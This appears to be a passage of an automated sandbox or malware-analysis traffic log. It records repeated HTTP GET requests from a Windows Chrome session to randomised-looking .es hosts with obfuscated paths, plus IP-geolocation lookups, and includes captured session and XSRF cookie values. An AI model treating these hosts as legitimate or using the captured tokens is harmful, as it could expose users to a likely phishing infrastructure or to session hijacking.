laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opS9nNnU3EKDPrf0eR16pwouvtihrglxNgTx5u19EOtiXef192 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnpz01pdmaKmv3lQXW7P2vQ2r4fkpgQLNebuKf8QFQhNuk56rRHgo2Bwiu2jPCTMJl7yUZWFGgWNXwx220 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klc8UECYt5zXgmoGDN2WooKK14A0tH8M0BVAgqrtlCMpZkq6akjWjuK4j9yz230 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijqoTZlkQOAejsICput9XE0QgfgJ78t5GrXbmnFOYCzjk1J65T2KC62vef210 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op3Br1Cll2DhMGR0G1nQAtIY4UBcUUJoJuvLTppS7XcAqHbs3xlQfiM1GqKK4LeL6DhPcd240 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijk3dGphVTVBejBJTUI1UnZqZlQ4QUE9PSIsInZhbHVlIjoibHJqSVJXaTI5elI3MU9ELzYyZ0poMG0rYVI3MlBXNGFSVGtGemVSNCtiSFdrS2ROT0YxSEhWU1FWRHRiL0pEeExIdXczOEhxeHh1MG1XaUZjek1CQVRDQzh3NnVDQ2F2NkdBYy8vUGQyODN2a0p0amovOXhNSjg1cFBjQm81NVoiLCJtYWMiOiIwMTA1ZWRiMzYzMDNiYTFiYjJkMDJmZmIwYzhlZmRlMDM5NGNmNDFhNTE4ZjYxNGQxNzU0ODg3YjBhMDAwM2JkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhsWU5hWnlPYms0K0tMNXVpOHA3U3c9PSIsInZhbHVlIjoiandhbnZkMXFIZEFGbUhuZW9UZEZvL0ZLNTU3ZkltSkxQam9HUUk5OFNyb2JzYmpMcUhZVmI1UlFocS90VXRwQUllcVZLazljd1ZrcGcvWThIVzFCdEM0NjRLQUJPUVp4dWt0QUZNa0tHNkx2aHU0SHYxU09va1VaVEE2clFGWlMiLCJtYWMiOiI0MTYzN2FmODA0NDkzZTAyZTliZDhmMjNlMDA4YWZmMjFjMWJmYWM1MWNmYmNlYzY2NGI1MzA4MTI2NzgzNDJjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wrLVLXA2M5D638BwlhMKDDoJO0v1pzxh18H7rfM6lHFqOhGk8j74744g HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijk3dGphVTVBejBJTUI1UnZqZlQ4QUE9PSIsInZhbHVlIjoibHJqSVJXaTI5elI3MU9ELzYyZ0poMG0rYVI3MlBXNGFSVGtGemVSNCtiSFdrS2ROT0YxSEhWU1FWRHRiL0pEeExIdXczOEhxeHh1MG1XaUZjek1CQVRDQzh3NnVDQ2F2NkdBYy8vUGQyODN2a0p0amovOXhNSjg1cFBjQm81NVoiLCJtYWMiOiIwMTA1ZWRiMzYzMDNiYTFiYjJkMDJmZmIwYzhlZmRlMDM5NGNmNDFhNTE4ZjYxNGQxNzU0ODg3YjBhMDAwM2JkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhsWU5hWnlPYms0K0tMNXVpOHA3U3c9PSIsInZhbHVlIjoiandhbnZkMXFIZEFGbUhuZW9UZEZvL0ZLNTU3ZkltSkxQam9HUUk5OFNyb2JzYmpMcUhZVmI1UlFocS90VXRwQUllcVZLazljd1ZrcGcvWThIVzFCdEM0NjRLQUJPUVp4dWt0QUZNa0tHNkx2aHU0SHYxU09va1VaVEE2clFGWlMiLCJtYWMiOiI0MTYzN2FmODA0NDkzZTAyZTliZDhmMjNlMDA4YWZmMjFjMWJmYWM1MWNmYmNlYzY2NGI1MzA4MTI2NzgzNDJjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stj39rdgGiC8vclLj7rw6jNVJqxKFCPfAW67w08PGdNINEyJn8SWDe4ykyeoXef251 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijk3dGphVTVBejBJTUI1UnZqZlQ4QUE9PSIsInZhbHVlIjoibHJqSVJXaTI5elI3MU9ELzYyZ0poMG0rYVI3MlBXNGFSVGtGemVSNCtiSFdrS2ROT0YxSEhWU1FWRHRiL0pEeExIdXczOEhxeHh1MG1XaUZjek1CQVRDQzh3NnVDQ2F2NkdBYy8vUGQyODN2a0p0amovOXhNSjg1cFBjQm81NVoiLCJtYWMiOiIwMTA1ZWRiMzYzMDNiYTFiYjJkMDJmZmIwYzhlZmRlMDM5NGNmNDFhNTE4ZjYxNGQxNzU0ODg3YjBhMDAwM2JkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhsWU5hWnlPYms0K0tMNXVpOHA3U3c9PSIsInZhbHVlIjoiandhbnZkMXFIZEFGbUhuZW9UZEZvL0ZLNTU3ZkltSkxQam9HUUk5OFNyb2JzYmpMcUhZVmI1UlFocS90VXRwQUllcVZLazljd1ZrcGcvWThIVzFCdEM0NjRLQUJPUVp4dWt0QUZNa0tHNkx2aHU0SHYxU09va1VaVEE2clFGWlMiLCJtYWMiOiI0MTYzN2FmODA0NDkzZTAyZTliZDhmMjNlMDA4YWZmMjFjMWJmYWM1MWNmYmNlYzY2NGI1MzA4MTI2NzgzNDJjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxF6frFyCV8SKJp7AZ9vV4r3JHeuEjud3a5WK5bopNKU5AOJxi7MGS6qurQDlBcWab180 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijk3dGphVTVBejBJTUI1UnZqZlQ4QUE9PSIsInZhbHVlIjoibHJqSVJXaTI5elI3MU9ELzYyZ0poMG0rYVI3MlBXNGFSVGtGemVSNCtiSFdrS2ROT0YxSEhWU1FWRHRiL0pEeExIdXczOEhxeHh1MG1XaUZjek1CQVRDQzh3NnVDQ2F2NkdBYy8vUGQyODN2a0p0amovOXhNSjg1cFBjQm81NVoiLCJtYWMiOiIwMTA1ZWRiMzYzMDNiYTFiYjJkMDJmZmIwYzhlZmRlMDM5NGNmNDFhNTE4ZjYxNGQxNzU0ODg3YjBhMDAwM2JkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhsWU5hWnlPYms0K0tMNXVpOHA3U3c9PSIsInZhbHVlIjoiandhbnZkMXFIZEFGbUhuZW9UZEZvL0ZLNTU3ZkltSkxQam9HUUk5OFNyb2JzYmpMcUhZVmI1UlFocS90VXRwQUllcVZLazljd1ZrcGcvWThIVzFCdEM0NjRLQUJPUVp4dWt0QUZNa0tHNkx2aHU0SHYxU09va1VaVEE2clFGWlMiLCJtYWMiOiI0MTYzN2FmODA0NDkzZTAyZTliZDhmMjNlMDA4YWZmMjFjMWJmYWM1MWNmYmNlYzY2NGI1MzA4MTI2NzgzNDJjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klnNS32sug9wxQlBicQFiOR1Cl4wxs6JlS8b8cisTjuqKE78168 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijk3dGphVTVBejBJTUI1UnZqZlQ4QUE9PSIsInZhbHVlIjoibHJqSVJXaTI5elI3MU9ELzYyZ0poMG0rYVI3MlBXNGFSVGtGemVSNCtiSFdrS2ROT0YxSEhWU1FWRHRiL0pEeExIdXczOEhxeHh1MG1XaUZjek1CQVRDQzh3NnVDQ2F2NkdBYy8vUGQyODN2a0p0amovOXhNSjg1cFBjQm81NVoiLCJtYWMiOiIwMTA1ZWRiMzYzMDNiYTFiYjJkMDJmZmIwYzhlZmRlMDM5NGNmNDFhNTE4ZjYxNGQxNzU0ODg3YjBhMDAwM2JkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhsWU5hWnlPYms0K0tMNXVpOHA3U3c9PSIsInZhbHVlIjoiandhbnZkMXFIZEFGbUhuZW9UZEZvL0ZLNTU3ZkltSkxQam9HUUk5OFNyb2JzYmpMcUhZVmI1UlFocS90VXRwQUllcVZLazljd1ZrcGcvWThIVzFCdEM0NjRLQUJPUVp4dWt0QUZNa0tHNkx2aHU0SHYxU09va1VaVEE2clFGWlMiLCJtYWMiOiI0MTYzN2FmODA0NDkzZTAyZTliZDhmMjNlMDA4YWZmMjFjMWJmYWM1MWNmYmNlYzY2NGI1MzA4MTI2NzgzNDJjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opS9nNnU3EKDPrf0eR16pwouvtihrglxNgTx5u19EOtiXef192 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijk3dGphVTVBejBJTUI1UnZqZlQ4QUE9PSIsInZhbHVlIjoibHJqSVJXaTI5elI3MU9ELzYyZ0poMG0rYVI3MlBXNGFSVGtGemVSNCtiSFdrS2ROT0YxSEhWU1FWRHRiL0pEeExIdXczOEhxeHh1MG1XaUZjek1CQVRDQzh3NnVDQ2F2NkdBYy8vUGQyODN2a0p0amovOXhNSjg1cFBjQm81NVoiLCJtYWMiOiIwMTA1ZWRiMzYzMDNiYTFiYjJkMDJmZmIwYzhlZmRlMDM5NGNmNDFhNTE4ZjYxNGQxNzU0ODg3YjBhMDAwM2JkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhsWU5hWnlPYms0K0tMNXVpOHA3U3c9PSIsInZhbHVlIjoiandhbnZkMXFIZEFGbUhuZW9UZEZvL0ZLNTU3ZkltSkxQam9HUUk5OFNyb2JzYmpMcUhZVmI1UlFocS90VXRwQUllcVZLazljd1ZrcGcvWThIVzFCdEM0NjRLQUJPUVp4dWt0QUZNa0tHNkx2aHU0SHYxU09va1VaVEE2clFGWlMiLCJtYWMiOiI0MTYzN2FmODA0NDkzZTAyZTliZDhmMjNlMDA4YWZmMjFjMWJmYWM1MWNmYmNlYzY2NGI1MzA4MTI2NzgzNDJjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijqoTZlkQOAejsICput9XE0QgfgJ78t5GrXbmnFOYCzjk1J65T2KC62vef210 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijk3dGphVTVBejBJTUI1UnZqZlQ4QUE9PSIsInZhbHVlIjoibHJqSVJXaTI5elI3MU9ELzYyZ0poMG0rYVI3MlBXNGFSVGtGemVSNCtiSFdrS2ROT0YxSEhWU1FWRHRiL0pEeExIdXczOEhxeHh1MG1XaUZjek1CQVRDQzh3NnVDQ2F2NkdBYy8vUGQyODN2a0p0amovOXhNSjg1cFBjQm81NVoiLCJtYWMiOiIwMTA1ZWRiMzYzMDNiYTFiYjJkMDJmZmIwYzhlZmRlMDM5NGNmNDFhNTE4ZjYxNGQxNzU0ODg3YjBhMDAwM2JkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhsWU5hWnlPYms0K0tMNXVpOHA3U3c9PSIsInZhbHVlIjoiandhbnZkMXFIZEFGbUhuZW9UZEZvL0ZLNTU3ZkltSkxQam9HUUk5OFNyb2JzYmpMcUhZVmI1UlFocS90VXRwQUllcVZLazljd1ZrcGcvWThIVzFCdEM0NjRLQUJPUVp4dWt0QUZNa0tHNkx2aHU0SHYxU09va1VaVEE2clFGWlMiLCJtYWMiOiI0MTYzN2FmODA0NDkzZTAyZTliZDhmMjNlMDA4YWZmMjFjMWJmYWM1MWNmYmNlYzY2NGI1MzA4MTI2NzgzNDJjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op3Br1Cll2DhMGR0G1nQAtIY4UBcUUJoJuvLTppS7XcAqHbs3xlQfiM1GqKK4LeL6DhPcd240 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijk3dGphVTVBejBJTUI1UnZqZlQ4QUE9PSIsInZhbHVlIjoibHJqSVJXaTI5elI3MU9ELzYyZ0poMG0rYVI3MlBXNGFSVGtGemVSNCtiSFdrS2ROT0YxSEhWU1FWRHRiL0pEeExIdXczOEhxeHh1MG1XaUZjek1CQVRDQzh3NnVDQ2F2NkdBYy8vUGQyODN2a0p0amovOXhNSjg1cFBjQm81NVoiLCJtYWMiOiIwMTA1ZWRiMzYzMDNiYTFiYjJkMDJmZmIwYzhlZmRlMDM5NGNmNDFhNTE4ZjYxNGQxNzU0ODg3YjBhMDAwM2JkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhsWU5hWnlPYms0K0tMNXVpOHA3U3c9PSIsInZhbHVlIjoiandhbnZkMXFIZEFGbUhuZW9UZEZvL0ZLNTU3ZkltSkxQam9HUUk5OFNyb2JzYmpMcUhZVmI1UlFocS90VXRwQUllcVZLazljd1ZrcGcvWThIVzFCdEM0NjRLQUJPUVp4dWt0QUZNa0tHNkx2aHU0SHYxU09va1VaVEE2clFGWlMiLCJtYWMiOiI0MTYzN2FmODA0NDkzZTAyZTliZDhmMjNlMDA4YWZmMjFjMWJmYWM1MWNmYmNlYzY2NGI1MzA4MTI2NzgzNDJjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stj39rdgGiC8vclLj7rw6jNVJqxKFCPfAW67w08PGdNINEyJn8SWDe4ykyeoXef251 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijk3dGphVTVBejBJTUI1UnZqZlQ4QUE9PSIsInZhbHVlIjoibHJqSVJXaTI5elI3MU9ELzYyZ0poMG0rYVI3MlBXNGFSVGtGemVSNCtiSFdrS2ROT0YxSEhWU1FWRHRiL0pEeExIdXczOEhxeHh1MG1XaUZjek1CQVRDQzh3NnVDQ2F2NkdBYy8vUGQyODN2a0p0amovOXhNSjg1cFBjQm81NVoiLCJtYWMiOiIwMTA1ZWRiMzYzMDNiYTFiYjJkMDJmZmIwYzhlZmRlMDM5NGNmNDFhNTE4ZjYxNGQxNzU0ODg3YjBhMDAwM2JkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhsWU5hWnlPYms0K0tMNXVpOHA3U3c9PSIsInZhbHVlIjoiandhbnZkMXFIZEFGbUhuZW9UZEZvL0ZLNTU3ZkltSkxQam9HUUk5OFNyb2JzYmpMcUhZVmI1UlFocS90VXRwQUllcVZLazljd1ZrcGcvWThIVzFCdEM0NjRLQUJPUVp4dWt0QUZNa0tHNkx2aHU0SHYxU09va1VaVEE2clFGWlMiLCJtYWMiOiI0MTYzN2FmODA0NDkzZTAyZTliZDhmMjNlMDA4YWZmMjFjMWJmYWM1MWNmYmNlYzY2NGI1MzA4MTI2NzgzNDJjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://ea.gdpfjvzprf.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ea.gdpfjvzprf.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ivwgqopnkdddirgamdQkgeSAWOUJIHLCLRMLHHFYDCIKLUYJZNHXMRIYMBIWRQRCMVUArsFTLLJKvmFlD08nZ1TV34NoZwx40 HTTP/1.1Host: ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
